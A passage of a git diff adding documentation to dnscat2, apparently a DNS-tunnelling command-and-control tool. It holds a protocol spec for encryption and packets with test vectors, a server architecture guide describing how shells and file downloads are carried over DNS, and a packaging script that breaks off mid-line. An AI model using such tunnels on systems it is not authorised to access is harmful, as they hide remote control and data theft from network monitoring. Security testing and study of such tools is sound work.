tunneling arbitrary connections +via dnscat2. + +Tunneling is actually implemented as part of the command protocol, so +check out the [command_protocol.md](command_protocol.md) document for +full information! + +## Encryption / signing + +It's important to start by noting: this isn't designed to be strong +encryption, with assurances like SSL. It's designed to be fast, easy to +implement, and to prevent passive eavesdropping. Active (man in the +middle) attacks are only prevented using a pre-shared secret, which is +optional by default. + +To summarize, a ECDH and SHA3 are used to generate a shared symmetric +key, which is used with SHA3 and Salsa20 to sign and encrypt all +messages between the client and server. + +Only packets' bodies are encrypted; the headers are cleartext. This is +necessary, because otherwise it's impossible to know who encrypted the +message and which key should be used to decrypt it. + +The data that crosses the network in cleartext is: + +* `packet_id` - a meaningless random value +* `packet_type` - information on the type of packet (syn/msg/fin/etc.) +* `session_id` - uniquely identifies the session + +These give no more information than the unencrypted TCP headers of a +typical TLS session, so I decided that it's safe enough. + +The next few sections will detail the various parts of the encryption +and signing. At the end, there will be a section with specific +implementation and library information for C and Ruby. + +### Key exchange + +Key exchange is performed using the "P-256" elliptic curve and SHA3-256. +The client and server each generates a random 256-bit secret key at the +start of a connection, then derive a shared (symmetric) key. This is +all performed in the `MESSAGE_TYPE_ENC` (aka, `ENC`) packet, subtype +`INIT` (aka, `ENC|AUTH`). + +Once both sides have the other's public key, the client and server use +those keys to generate the `shared_secret`, using standard ECDH. The +`shared_secret` is SHA3'd with a few different static strings to +generate the actual keys: + + `shared_secret = ECDH("P-256", their_public_key, my_private_key)` + `client_write = SHA3-256(shared_secret || "client_write_key")` + `client_mac = SHA3-256(shared_secret || "client_mac_key")` + `server_write = SHA3-256(shared_secret || "server_write_key")` + `server_mac = SHA3-256(shared_secret || "server_mac_key")` + +Note that, without peer authentication (see below), this is vulnerable to +man-in-the-middle attacks. But it still prevents passive inspection, so +it isn't completely without merit, and should be used as the default +mode. Servers may choose whether or not to require encryption and +authentication. + +### Peer authentication + +The client and server can optionally use a pre-shared secret (ie, a +password or a key) to prevent man-in-the-middle attacks. + +`preshared_secret` is something the client and server have to +pre-decide. Typically, it'll be passed in as a commandline argument. +The server may even auto-generate a key for each listener and give the +user the specific command to enter the key. + +If a client attempts to authenticate, the server *MUST* authenticate +back. If the client authenticates and the server doesn't, the client +*MUST* terminate the connection. + +Authentication, like encryption, isn't mandatory in the protocol; the +client can choose whether or not to negotiate it, and the server can +choose whether or not to allow or require it. + +The actual authentication is done in an `ENC|AUTH` packet. It should be +sent immediately after the initial key exchange. + +The authentication strings are computed using SHA3-256: + + client_authenticator = SHA3-256("client" || shared_secret || pubkey_client || pubkey_server || preshared_secret) + server_authenticator = SHA3-256("server" || shared_secret || pubkey_client || pubkey_server || preshared_secret) + +### Short-authentication strings + +Instead of using peer authentication, a short-authentication string can +be used. This is a way for the user to visually validate that the client +and server are connected to each other, and not to somebody else. This +*SHOULD* be displayed to the user if a pre-shared secret isn't being +used. + +This is done by first taking the first 6 bytes (48 bits) of this hash: + + sas = SHA3-256("authstring" || shared_secret || public_key_client || public_key_server)[0,6] + +Where the public keys are the full x and y coordinates, represented as +64-byte strings (or pairs of 32-byte strings). + +After calculating that value, for each byte, look up the corresponding +line in [this word list](/data/wordlist_256.txt) and display it to the +user. It's up to the user to verify that the 6 words on the client +match the 6 words on the server - they can choose whether or not to +actually do that. + +### Stream encapsulation + +A standard dnscat2 packet contains a 5-byte header and an arbitrarily +long body. The header must be transmitted unencrypted, but must be +signed. + +After each dnscat2 packet is serialized to a byte stream, but before +it's converted to DNS by the `tunnel_driver`, the packet's body is +wrapped in encryption and the full packet is signed. + +To encrypt each packet, a distinct nonce value is required, so an +incremental 16-bit value is used. When the client or server's nonce +value approaches the maximum value (0xFFFF (65535)), the client *must* +initiate a re-negotiation (see below). The client and server *MUST NOT* +allow the other to re-use a nonce or to decrement the nonce, unless a +re-negotiation has happened since it was last used. Any packets +containing the same or a lower nonce should be ignored (but that should +not terminate the connection; otherwise, it's an easy DoS). + +A server has to deal with receiving multiple packets with the *same* +nonce carefully. DNS tends to retransmit itself, so receiving multiple +packets with the same nonce isn't surprising. In particular, this will +happen if the server's response was lost on the way back to the client. +If a response is lost, the client will eventually re-transmit with a new +nonce, and the server will be able to handle it appropriately; as such, +a server *MUST NOT* respond to multiple messages with the same nonce. + +Encrypting the body is simply done with salsa20: + + encrypted_data = salsa20(packet_body, nonce, write_key) + +The packet_body is the sixth byte of the packet and onwards (everything +after the header). The nonce is the nonce value, encoded in big endian, +padded with zeroes to 8 bytes. The write_key is the write_key for the +client or server, as appropriate. + +Each packet also requires a signature. This is to prevent +man-in-the-middle attacks, so as long as it can hold off an attacker for +more than a couple seconds, it's suitable. As such, we use SHA3-256 +truncated to 48 bits. + +The signature covers the 5-byte packet header, the nonce, and the +encrypted body. + +The calculation for the signature is: + + signature = SHA3(mac_key || packet_header || nonce || encrypted_body)[0,6] + +Where the `write_key` and `mac_key` are either the client's or the +server's respective keys, depending on who's performing the operation. +The `nonce` is the two-byte big-endian-encoded nonce value, and the +`encrypted_body` is, of course, the body after it's been encrypted. + +The final encapsulated packet looks like this: + +* (byte[5]) header +* (byte[6]) signature +* (byte[2]) nonce +* (byte[]) encrypted_body + +### Re-negotiation + +Note: This isn't implemented anywhere yet, and is likely to change! + +To re-negotiate encryption, the client simply sends another `ENC|INIT` +message to the server with a new public key, encrypted and signed as a +normal message. The server will respond with a new pubkey of its own in +its own `ENC` packet, exactly like the original exchange. + +Authentication is not re-performed. The connection is assumed to still +be authenticated. + +After successful re-negotiation, the client and server *SHOULD* both +reset their nonce values back to 0. The next packet after the `ENC` +packet should be encrypted with the new key, and the old one should be +discarded (preferably zeroed out so it can't be recovered, if possible). + +### Re-transmits and keys + +One really annoying thing about dnscat2 is that it has to operate over a +really, really bad protocol: DNS. + +A bug I ran into a lot when testing code through actual DNS servers is +that actual DNS servers will gratuitously re-transmit like crazy, +especially if you aren't fast enough (and ruby key generation is a tad +slow). That means the implementation has to deal with re-transmissions +cleanly. + +Imagine this: the client starts the session with an `ENC|INIT` packet, +and the server responds with `ENC|INIT`. At that point, the server is +ready to receive encrypted packets! However, the next packet is almost +always another unencrypted `ENC|INIT` packet. That screws up everything. + +Likewise when re-keying. You're almost always going to receive at least +one message with the old key when re-keying is performed. That's why we +love DNS so much! + +You might think it's safe to just ignore packets you receive with the +wrong key. Unfortunately, that's not enough. Imagine a client sent you +an `ENC|INIT`, either at the start or during a stream, but the response +was dropped. That happens, frequently. At that point, you're expecting +one set of keys, but the client is using another. From then on, it's +impossible to communicate! + +Fortunately for clients, they don't have to worry about this. As soon as +a client receives a new key, it can safely cut over to it immediately. +Servers, however, do require some special treatment. Here's how I deal +with it... + +Always keep the previous encryption keys handy immediately after +changing them. When a message is received, attempt to decrypt it with +the *new* key *first*. If the signature turns out to be wrong, fall back +to the previous key, and use that to decrypt it. If the previous key has +to be used to decrypt the message, always respond using that key: it's +often a sign that the client doesn't know about the new key yet. + +And then, *as soon as you receive data encrypted with the new key, +delete the old one from memory*. Once you've received a packet encrypted +with the key, you know the client has the proper key and you can safely +discard the old ones. But up to that point, you're stuck supporting both +for a brief period. + +Note that even with this feature, the server *MUST NOT* allow the same +nonce to be used with the same key! That undermines all security! + +### Algorithms + +#### ECDH + +The Prime256v1 (aka "P-256" or "Nisp256") curve is used for the ECDH key +exchange. + +The following are the defined constants: + + p: 11579208921035624876269744694940757353008614_3415290314195533631308867097853951, + a: -3, + b: 0x5ac635d8_aa3a93e7_b3ebbd55_769886bc_651d06b0_cc53b0f6_3bce3c3e_27d2604b, + g: [0x6b17d1f2_e12c4247_f8bce6e5_63a440f2_77037d81_2deb33a0_f4a13945_d898c296, + 0x4fe342e2_fe1a7f9b_8ee7eb4a_7c0f9e16_2bce3357_6b315ece_cbb64068_37bf51f5], + n: 11579208921035624876269744694940757352999695_5224135760342422259061068512044369, + h: nil, # cofactor not given in NIST document + +This is implemented in the Ruby gem +[ecdsa](https://github.com/DavidEGrayson/ruby_ecdsa) and in the C library +[micro-ecc](https://github.com/kmackay/micro-ecc). + +To generate a keypair in Ruby: + + require 'ecdsa' + require 'securerandom' + + my_private_key = 1 + SecureRandom.random_number(ECDSA::Group::Nistp256.order - 1) + my_public_key = ECDSA::Group::Nistp256.generator.multiply_by_scalar(my_private_key) + +To import another public key (the values must be Bignum values, see +[encryptor.rb](/server/controller/encryptor.rb) for how to do that): + + their_public_key = ECDSA::Point.new(ECDSA::Group::Nistp256, their_public_key_x, their_public_key_y) + +And to generate the shared secret: + + shared_secret = their_public_key.multiply_by_scalar(my_private_key) + +In C, the keypair can be generated like this: + + #include "libs/crypto/micro-ecc/uECC.h" + uECC_make_key(their_public_key, my_private_key, uECC_secp256r1()) + +To calculate the shared secret, the peer's public key must be formatted +as a 64-byte string, where the first 32 bytes represent the `x` +coordinate and the second 32 bytes represent the `y` coordinate: + + uECC_shared_secret(their_public_key, my_private_key, shared_secret, uECC_secp256r1()) + +To test your code, here are all the variables in a successful key +exchange: + + alice_private_key: 7997cdc9af9690c78e58468c6a5f273b4c22a8a6e6a0e4be32e81d17c78a3f8b + alice_public_key_x: a651dedcb8833d574628bbb7b2fa2e63f3ac528aca48d38901955b6c76515c80 + alice_public_key_y: a5d16a0bcfcc76868e9179f44c28eae55b48bacb3168f8977156e1edc7b6334d + + bob_private_key: 612b7bb5b84cdb200e4108d6ca52bc4fad94cd04fa8711227e17a268d16a7b85 + bob_public_key_x: 8a748d60b9293e3e5f5d8b50793e476190f869b1006a23aa462ac5cd32572f1a + bob_public_key_y: 04e11e6440c579a3e13e67661004337ce63fd05bbeaa8c211f8fef844c075b34 + + shared_secret: 6db2c22f7b0fd8921a15cf22bcbecfe84da0a852075f2707b2a24e19d9f4a6cf + +#### SHA3 + +SHA3 is used in the protocol for simplicity; HMAC and similar constructs +aren't required, we can simply concatenate data inside the hash (as it +was designed to allow). + +The downside of SHA3 is that finding a proper implementation can be +tricky! + +We use the 256-bit output (SHA3-256) in every case. When we need a +48-bit string, rather than using SHA3-48 (which isn't always +implemented), we simply truncate a SHA3-256 output to the proper length, +which should be safe to do per the SHA3 standard. + +The [sha3 gem](https://github.com/johanns/sha3), as of 1.0.1, implements +SHA3 properly. You can verify that whatever your library is using +generates the right string by hashing the empty string: + + 1.9.3-p392 :004 > require 'sha3' + => false + 1.9.3-p392 :003 > SHA3::Digest.new(256).hexdigest('') + => "a7ffc6f8bf1ed76651c14756a061d662f580ff4de43b49fa82d80a4b80f8434a" + +If you get that value, it's working! If you get something else, then +look for another implementation. As of late 2015, I found lots of +problematic libraries. + +To test your implementation, the `shared_secret` defined above should generate +the following session keys: + + shared_secret: 6db2c22f7b0fd8921a15cf22bcbecfe84da0a852075f2707b2a24e19d9f4a6cf + client_write_key: 95f786ebf2f4bd460a4031f6b097f54635c27fb8df4c53cfd225c6d9d7ef3abc + client_mac_key: 726505b9481b72f123fa40aef9f6e777c0070b3cc016f097a8e9569ef4200810 + server_write_key: a795d45bd0baee7bdef64c7053f1f63b9a2edc0c3c876abe45282dd2dc777d53 + server_mac_key: 40cb251330c07f2cfd084c841a707aa66e81e1d70775d45bcbc6a6ec72f97e91 + +#### Salsa20 + +I chose Salsa20 because it has a nice implementation in both C and Ruby, +and is generally considered to be a secure stream cipher. It also uses a +256-bit key, which is rather nice (all my cryptographic values are +256 bits!). + +You can verify it's working by encrypting 'password' with a blank +(all-NUL) 256-bit key and a blank (all-NUL) nonce and checking the +output against mine: + + 1.9.3-p392 :001 > require 'salsa20' + => true + 1.9.3-p392 :002 > Salsa20.new("\0"*32, "\0"*8).encrypt("password").unpack("H*") + => ["eaf68528ec23007f"] + +## Constants + + /* Message types */ + #define MESSAGE_TYPE_SYN (0x00) + #define MESSAGE_TYPE_MSG (0x01) + #define MESSAGE_TYPE_FIN (0x02) + #define MESSAGE_TYPE_ENC (0x03) + #define MESSAGE_TYPE_PING (0xFF) + + /* Encryption subtypes */ + #define ENC_SUBTYPE_INIT (0x00) + #define ENC_SUBTYPE_AUTH (0x01) + + /* Options */ + #define OPT_NAME (0x01) + #define OPT_COMMAND (0x20) + +## Messages + +This section will explain how to encode each of the message types. All +fields are encoded big endian, and the entire packet is sent via the DNS +Transport Protocol, defined above. It is assumed that the transport +protocol handles the length, and the length of the packet is known. + +All messages contain a 16-bit `packet_id` field - this should be changed +(randomized or incremented.. it doesn't matter) for each message sent +and ignored by the receiver. It's purely designed to deal with caching +problems. + +### Datatypes + +As mentioned above, all fields are encoded as big endian (network byte +order). The following datatypes are used: + +* `uint8_t` - an 8-bit (one-byte) value +* `uint16_t` - a 16-bit (two-byte) value +* `uint32_t` - a 32-bit (four-byte) value +* `uint64_t` - a 64-bit (eight-byte) value +* `ntstring` - a null-terminated string (that is, a series of bytes with a NUL byte ("\0") at the end +* `byte[]` - an array of bytes - if no size is specified, then it's the rest of the packet + +### MESSAGE_TYPE_SYN [0x00] + +- (uint16_t) packet_id +- (uint8_t) message_type [0x00] +- (uint16_t) session_id +- (uint16_t) initial sequence number +- (uint16_t) options +- If OPT_NAME is set: + - (ntstring) session_name + +#### Notes + +- Each connection is initiated by a client sending a SYN containing a + random session_id and random initial sequence number to the server as + well as its requested options +- The following options are defined: + - OPT_NAME - 0x01 [C->S] + - Packet contains an additional field called the session name, which + is a free-form field containing user-readable data + - OPT_COMMAND - 0x20 [C->S] + - This is a command session, and will be tunneling command messages + - OPT_ENCRYPTED - 0x40 [C->S and S->C] + - We're negotiating encryption + - `crypto_flags` are currently undefined, and 0 + - The public key x and y values are the BigInteger values converted + directly to hex values, then padded on the left with zeroes (if + necessary) to make 32 bytes. +- The server responds with its own SYN, containing its initial sequence + number and its options. + - If the client's request contained `OPT_ENCRYPTED`, the server's + response *MUST* also contain it. +- Both the `session_id` and initial sequence number should be + randomized, not incremental or static or anything, to make + connection-hijacking attacks more difficult (the two sequence numbers + and the session_id give us approximately 48-bits of entropy per + connection). +- `packet_id` should be different for each packet, and is entirely + designed to prevent caching. Incremental is fine. The peer should + ignore it. +- If the server received multiple identical SYN packets, it should reply + to each of them the same way (this is required in case the response to + the SYN gets dropped). +- If the server receives a different SYN packet with the same + session_id, it should be ignored (this prevents session stealing). + +#### Error states + +- If a client doesn't receive a response to a SYN packet, it means + either the request or response was dropped. The client can choose to + re-send the SYN packet for the same session, or it can generate a new + SYN packet or session. +- If a server receives a second SYN for the same session before it + receives a MSG packet, it should respond as if it's valid (the + response may have been lost). + - "if it's valid" means if it contains the same options, the same + sequence number, the same name (if applicable), and the same + encryption key (if applicable). +- If a client or server receives a SYN for a connection during said + connection, it should be silently discarded. + +### MESSAGE_TYPE_MSG: [0x01] + +- (uint16_t) packet_id +- (uint8_t) message_type [0x01] +- (uint16_t) session_id +- (uint16_t) seq +- (uint16_t) ack +- (byte[]) data + +#### Notes + +- If the SYN contained OPT_COMMAND, the 'data' field uses the command protocol. See [command_protocol.md](command_protocol.md). + +### MESSAGE_TYPE_FIN: [0x02] + +- (uint16_t) packet_id +- (uint8_t) message_type [0x02] +- (uint16_t) session_id +- (ntstring) reason + +#### Notes + +- Once a FIN has been sent, the client or server should no longer + attempt to respond to anything from that connection. + +### MESSAGE_TYPE_ENC: [0x03] + +- (uint16_t) packet_id +- (uint8_t) message_type [0x03] +- (uint16_t) session_id +- (uint16_t) subtype +- (uint16_t) flags +- If subtype is ENC_SUBTYPE_INIT: + - (byte[32]) public_key_x + - (byte[32]) public_key_y +- If subtype is ENC_SUBTYPE_AUTH: + - (byte[32]) authenticator + +#### Notes +- An `ENC|INIT` packet (`ENC` with subtype `INIT` should be sent + immediately if the client wants to use encryption +- The server *MUST* respond to an `ENC` packet with its own `ENC` packet + of the same subtype + - If the client opts for encryption, the server must opt for + encryption; if the client authenticates, the server must + authenticate +- The server *MUST* respond to an `ENC|INIT` packet with the same crypto + keys - if any - that the client used to send the `ENC|INIT` message. + Until a client receives the `ENC|INIT` response, it has no way of + knowing what the key shared key is going to be! +- The public keys and authenticators are encoded as 32-byte hex strings, + padded with zeroes on the left + +Here's the Ruby code for converting an integer `bn` to a binary string: + + [bn.to_s(16).rjust(32*2, "\0")].pack("H*") + +And for going from a `binary` blob to an integer: + + binary.unpack("H*").pop().to_i(16) + +### MESSAGE_TYPE_PING: [0xFF] + +- (uint16_t) packet_id +- (uint8_t) message_type [0xFF] +- (uint16_t) ping_id +- (ntstring) data + +#### Notes + +- The 'ping_id' field should be simply echoed back from the server as if + it was data diff --git a/doc/server_architecture.md b/doc/server_architecture.md new file mode 100644 index 0000000..6f4fe47 --- /dev/null +++ b/doc/server_architecture.md @@ -0,0 +1,403 @@ +# Server + +The server is written in Ruby, and can be found in the server/ +directory. + +I'm a fan of being fairly verbose when programming, so you'll find my +style of writing Ruby very C-like. I strongly believe in always using +parenthesis, for example. + +Other than nitpicky stuff, there aren't a lot of style conventions that +I insist on. I'm still learning the best way to write Ruby, and it's +reflected in the code. + +In general, if you're making changes, try to copy the style of the rest +of the file. + +I've only really tested the server on Linux. I don't know if it runs on +Linux, OS X, etc, but it *should* run anywhere that supports Ruby. + +## Dependencies + +At the moment, the only dependency is on Trollop. Trollop is a +command-line parser, and I use it to parse the arguments that the user +entered, as well as commands the users type into the various windows. + +## Structure + +The main file is server/dnscat2.rb. It processes commandline arguments +(using Trollop), sets up the global settings in the `Settings` class, +and starts up a DNS Tunnel Driver (see below). + +Like the client, to understand the structure of the rest of the progra, +it's helpful to understand how the dnscat protocol works - see +[protocol.md](protocol.md) for that. + +If you read the section on the client, you'll find that this is very +similar - in fact, I re-use a lot of text. The reason is pretty obvious: +I intentionally structured the client and server similarly. + +### tunnel_driver + +The actual code that touches the network is called a tunnel_driver, and, +like on the client, is located in tunnel_drivers/. An example of a +tunnel driver - and the only tunnel_driver that exists as of this +writing - is the DNS driver, which is implemented in +[driver_dns.rb](/server/tunnel_drivers/driver_dns.rb). The protocol I +invented for doing packets over DNS (sort of akin to layer 2) is called +the "DNS Tunneling Protocol", and is discussed in detail in +[protocol.md](protocol.md). + +The tunnel_driver has no real understanding of the dnscat protocol or of +sessions or 'connections' or anything like that. The "dnscat protocol" +happens at a higher layer (in sessions), and is tunnel_driver agnostic. +All it does is take data that's embedded in a packet and convert it into +a stream of bytes. + +When a tunnel_driver is created, it must create the socket(s) it needs +to listen to incoming traffic. All incoming traffic - regardless of +whether it's part of a session, regardless of which tunnel_driver is +receiving the traffic, etc, all data is sent to the +[controller](#controller). + +When data comes in, in any form, it's handed to the controller. When it +does so, the controller can return outbound data. + +There can be multiple tunnel drivers running, but only ever a single +controller. + + +---------------+ + | tunnel_driver | (one or more) + +---------------+ + +### controller + +The controller is the go-between from the +[tunnel_driver](#tunnel_driver) to the [sessions](#session). It's +essentially a session manager - it creates, destroys, and can enumerate +sessions as needed. It's implemented in +[controller.rb](/server/controller/controller.rb) + +When data comes in to a `tunnel_driver`, it's decoded and then sent to +the controller. The controller parses it just enough to get the +`session_id` value from the header, then it finds the session that +corresponds to that id and sends the data to it for processing. If +there's no such session, and it's a valid SYN packet, the session is +created. + +There's actually one type of packet that doesn't make it up to the +session - `MESSAGE_TYPE_PING`. When the Controller sees a +`MESSAGE_TYPE_PING` request, it immediately returns a +`MESSAGE_TYPE_PING` response. Since a PING isn't part of a session, it +can't be handled as one. + +In the future, there will be another message type - +`MESSAGE_TYPE_DOWNLOAD` - that is also handled by the Controller. + +Outgoing data is queued up in the sessions. When a message for a +particular session is received, the controller calls a method on the +session and it responds with data it has ready. + +The controller knows how to find and talk to sessions, but it doesn't +know anything about the `tunnel_driver` - it just gets messages from it. +In fact, it's possible for the server to receive multiple messages from +multiple different tunnel drivers as part of the same session, and the +controller would never even know. + + +---------------+ + | tunnel_driver | (one or more) + +---------------+ + | + v + +------------+ + | controller | (only 1, ever) + +------------+ + +### session + +A session is akin to a TCP connection. It handles all the state - the +state of the session, the sequence/acknowledgement number, and so on. + +Each session comes with a [driver](#drivers). The driver is what knows +how to handle incoming/outgoing data - for example, what to display, how +to handle user input, and so on. We'll look at the driver more below. + +When a message arrives, the session will parse it and determine if +there's any actual data in the message. The data (if any) is +passed to the driver, and any data the driver is waiting to send out is +returned to the session. The session takes that data, stuffs it into a +dnscat2 packet (when it can), and returns it. + +The [session module](/server/controller/session.rb) is where the actual +dnscat protocol (see [protocol.md](protocol.md)) is implemented. The +individual dnscat2 packets is done in +[packet.rb](/server/controller/packet.rb). It's agnostic to both its +back end (a tunnel_driver) and its front end (just a driver with a well +known interface). + +The session knows which driver it's using, but has no knowledge of which +other sessions exist or of the controller. + + +---------------+ + | tunnel_driver | (one or more) + +---------------+ + | + v + +------------+ + | controller | (only 1) + +------------+ + | + (has one or more) + | + v + +---------+ + | session | (one per connection) + +---------+ + +### drivers + +The final part of the structure is drivers, which are stored in drivers/. Each +session has exactly one driver. The driver defines how it interacts with the +outside world (or with the program itself). A driver has the opportunity +to define a sort of "sub-protocol" (think application-level protocol) on +top of dnscat. The console driver (`driver_console`) is simply +text-based - everything is displayed as text. The command driver +(`driver_command`), however, defines its own protocol. + +Here is more details about the currently extant drivers: + +* [driver_console](/server/drivers/driver_console.rb) - the incoming + messages are displayed as text, and anything the user types is sent + back to the server, also as text (encoded in the dnscat protocol, of + course). This can be used for 'console' programs (where the users can + type back and forth), but can also be used for, for example, shells. + The shell runs on the client, and sends its stdin/stdout to the + server, which simply displays it. + +* [driver_command](/server/drivers/driver_command.rb) - this is a + sub-protocol of the dnscat protocol. It defines a way to send commands + to the client - such as 'download file' - and to handle the responses + appropriately. What the user types in are commands, similar to + meterpreter + (see [driver_command_commands](/server/drivers/driver_command_commands.rb)). + What's displayed on the screen is the results of parsing the incoming + command packets. + +* [driver_process](/server/drivers/driver_process.rb) - this is a little + bit like `driver_console`, with one important distinction: instead of + simply displaying the incoming traffic on a console, it starts a + process and sends the process the incoming traffic. The program's + output is sent back across the wire to the client. This can be used + for some interesting tunnels, but is ultimately rather dangerous, + because it potentially compromises the security of the server by + sending untrusted input to other processes. + +The driver runs in a vacuum - it doesn't know anything else about what +dnscat2 is up to. All it knows is that it's receiving data and getting +polled for its own data. Other than that, it's on its own. It doesn't +know about [sessions](#session) or [controllers](#controller) or +[tunnel_drivers](#tunnel_driver) or anything. + + +---------------+ + | tunnel_driver | (one or more) + +---------------+ + | + v + +------------+ + | controller | (only 1) + +------------+ + | + (has one or more) + | + v + +---------+ + | session | (one per connection) + +---------+ + | + (has exactly one) + | + v + +--------+ + | driver | (one per session) + +--------+ + +## DNS + +The original version of dnscat2 (before beta 0.03) used rubydns for all +things DNS. rubydns's backend was abstracted into celluloid-dns, but +when I tried to use celluloid-dns, none of their examples worked and you +had to import a bunch of things in the correct order. It was really a +mess (I think it was fairly new at the time). + +So, knowing that I only really need a small subset of DNS functionality +(the same subset as I implemented in the client :) ), I wrote a DNS +library called [DNSer](/server/libs/dnser.rb). + +DNSer is an asynchronous resolver or server. It runs in its own thread, +and performs all of its actions via process blocks. + +Sending a query through DNSer is as simple as: + + DNSer.query("google.com") do |response| + puts(response) + end + +`response` is an instance of DNSer::Packet. The actual query is done in +a thread, so that block returns immediately. If you're writing a program +just to do a lookup, you can wait on the thread: + + t = DNSer.query("google.com") do |response| + puts(response) + end + t.join() + +There are also a bunch of optional parameters you can pass: +* server (default: "8.8.8.8") +* port (default: 53) +* type (default: DNSer::Packet::TYPE_A) +* cls (default: DNSer::Packet::CLS_IN) +* timeout (default: 3) + +Creating a DNS server is likewise easy! Create a new instance of the +class to bind the socket (this can throw an exception): + + dnser = DNSer.new("0.0.0.0", 53) + +Then set up the block: + + dnser.on_request() do |transaction| + puts(transaction.questions[0] || "There was no question!") + transaction.error!(DNSer::Packet::RCODE_NAME_ERROR) + end + +Like queries, it's asynchronous and that function returns immediately. +You can use the `DNSer#wait` method to wait until the listener ends. + +When the request comes, it's sent as a transaction. The transaction +contains the request (in `transaction.request`) and a skeleton of the +response (in `transaction.response`). + +There are a number of functions (you'll have to look at [the +implementation](/server/libs/dnser.rb) for full details), but the +important ones are the functions that have bangs ('!') in their names - +`DNSer::Transaction#reply!`, `DNSer::Transaction#error!, etc. + +Functions that end with a bang will send a response to the requester. +Once one of them has been called, any additional attempts to modify or +send the message will result in an exception (although it's still +possible to read values from it). + +One mildly interesting function is `DNSer::Transaction#passthrough`, +which sends the request to an upstream server. When the response comes +back, it's automatically sent back to the client. Thus, it behaves like +a recursive DNS server! An optional `Proc` can be passed to +`passthrough` to intercept the response, too. + +## SWindow + +Before beta0.03, the UI for the server was a bit of a mess, coupled with +the functionality really badly. + +After getting sick of the coupling, I decided to take care of it and +wrote [SWindow](/server/libs/swindow.rb). SWindow tries to simulate a +multi-window environment using only `Readline`, which works okay, but +not great. By keeping it fairly abstract, it'll be trivial to add a +NCurses or Web-based interface down the road. + +When SWindow() is included, it immediately starts an input thread, +waiting for user input. When the user presses , the input is sent +to the active window. + +Windows are created by calling SWindow.new(), and passing in a bunch of +parameters (see [the implementation](/server/libs/swindow.rb) for full +details). + +Windows can be switched to by calling `SWindow#activate`. That prints +the window's history to the screen and starts accepting commands for +that window. Windows can be temporarily 'closed' by calling +`SWindow#deactivate` or permanently closed with `SWindow#close`. Those +are essentially UI things, nothing about the window itself changes other +than being marked as closed and not showing up in lists. + +There is also a hierarchy amongst windows - each window can have a +parent and one or more children. In addition to displaying messages to +the window, messages can also be displayed on +child/descendent/parent/ancestor windows. For example: + + window.with({:to_ancestors=>true}) do + window.puts("Hi") + end + +will display on the window itself, as well as on all of its parents! + +When an active window is closed or deactivated, the parent window is +activated. + +## Commander + +[Commander](/server/libs/commander.rb) is a fairly simple +command-parsing engine used to parse commands typed by users into a +window. It uses `Trollop` and `shellwords` behind the scenes. + +Classes that need to parse user commands +([controller.rb](/server/controller/controller.rb) and +[driver_command.rb](/server/drivers/driver_command.rb)) can set up a +bunch of commands. Later, `Commander#feed` can be called with a line +that the user typed, and the appropriate callback with the appropriate +arguments will be called. + +## Settings + +The [Settings class](/server/libs/settings.rb) was written to store +settings for either the program (global settings, stored in +`Settings::GLOBAL`) or for sessions. + +The settings class is instantiated by creating a new instance: + + settings = Settings.new() + +Then, settings have to be created with default values and parsers and +such: + + settings.create('mysetting', Settings::TYPE_STRING, '', "This is some documentation") + settings.create('intsetting', Settings::TYPE_INTEGER, 123, "This is some documentation") + settings.create('boolsetting', Settings::TYPE_BOOLEAN, true, "This is some documentation") + +Once a setting is created, it can be set and retrieved: + + settings.set('mysetting', '123') + +Based on the type, some massaging and error checking are done. For +example, integers are converted to actual integers, and booleans can +understand the strings 'true', 'yes', 'y', etc. + +Optionally, a `proc` can be passed in to handle changes: + + settings.create('mysetting', Settings::TYPE_STRING, '', "This is some documentation") do |oldval, newval| + puts("Changing mysetting from '#{oldval}' to '#{newval}'") + end + +If an exception is thrown in the block, the change isn't cancelled: + + settings.create('intsetting', Settings::TYPE_INTEGER, 123, "This is some documentation") do |oldval, newval| + if(newval < 0 || newval > 1000) + raise(Settings::ValidationError, "Value has to be between 0 and 1000!") + end + end + +It's up to the function calling `Settings#set` to handle that exception. + +## Parsing and error handling + +Parsing is almost entirely done with `String#unpack` and building packets +is almost entirely done with `Array#pack`. + +The error handling on the server is designed to be fairly robust (unlike +the client). Parsing is always done in error handling blocks, and thrown +exceptions are handled appropriately (usually by killing the session +cleanly). + +Typically, if something goes wrong, raising a DnscatException() is the +safest way to bail out safely. + + diff --git a/img/dnscat-logo.svg b/img/dnscat-logo.svg new file mode 100644 index 0000000..2038fef --- /dev/null +++ b/img/dnscat-logo.svg @@ -0,0 +1,88 @@ + + + + + + + + + + image/svg+xml + + + + + + + + + + + + + + + + + + diff --git a/package.sh b/package.sh new file mode 100755 index 0000000..58820ad --- /dev/null +++ b/package.sh @@ -0,0 +1,97 @@ +#!/bin/bash + +# packet.sh +# By Ron +# +# See LICENSE.md + +die() { echo "$@" 1>&2 ; exit 1; } + +if [ -z "$1" ]; then + die "Usage: $0 " +fi +VERSION=$1 + +VERSION_FILES="client/dnscat.c server/dnscat2.rb" +for i in $VERSION_FILES; do + if ! fgrep -q $VERSION $i; then + echo "WARNING: $i doesn't contain '$VERSION'" + echo "(press ENTER to continue)" + read + fi +done + +FILES="bin/dnscat2-linux-x32 bin/dnscat2-linux-x64 bin/dnscat2-win32.exe" + +echo "Expected files:" +for i in $FILES; do + echo "* $i" +done + +echo "Cleaning up..." +make clean >/dev/null || die "Problem cleaning the sourcecode" + +echo "Copying the client sourcecode to bin/..." +rm -rf bin/dnscat2-client-source +cp -r client/ bin/dnscat2-client-source || die "Failed to copy" +FILES="$FILES bin/dnscat2-client-source" + +echo "Copying the server sourcecode to bin/..." +rm -rf bin/dnscat2-server +cp -r server/ bin/dnscat2-server || die "Failed to copy" +FILES="$FILES bin/dnscat2-server" + +echo "Creating dist/ directory" +mkdir dist/ >/dev/null 2>&1 + +echo "Compressing files..." +ZIPS="" + +cd bin +for i in $FILES; do + i=`basename $i` + + if [ -e "$i" ]; then + + echo "Making sure $i is the proper version..." + if ! fgrep -qra $VERSION $i; then + echo "WARNING: $i doesn't contain '$VERSION'" + echo "(press ENTER to continue)" + read + fi + + OUTNAME="dist/$(basename $i .exe)-$VERSION" + + echo "Compressing $i..." + + if [[ $i == *"win"* ]]; then + zip -qr ../$OUTNAME.zip $i || die "Failed to create $i.zip" + ZIPS="$ZIPS $OUTNAME.zip" + elif [[ $i == *"linux"* ]]; then + tar -cjf ../$OUTNAME.tar.bz2 $i || die "Failed to create $i.tar.bz2" + ZIPS="$ZIPS $OUTNAME.tar.bz2" + + tar -czf ../$OUTNAME.tgz $i || die "Failed to create $i.tgz" + ZIPS="$ZIPS $OUTNAME.tgz" + else + zip -qr ../$OUTNAME.zip $i || die "Failed to create $i.zip" + ZIPS="$ZIPS $OUTNAME.zip" + + tar -cjf 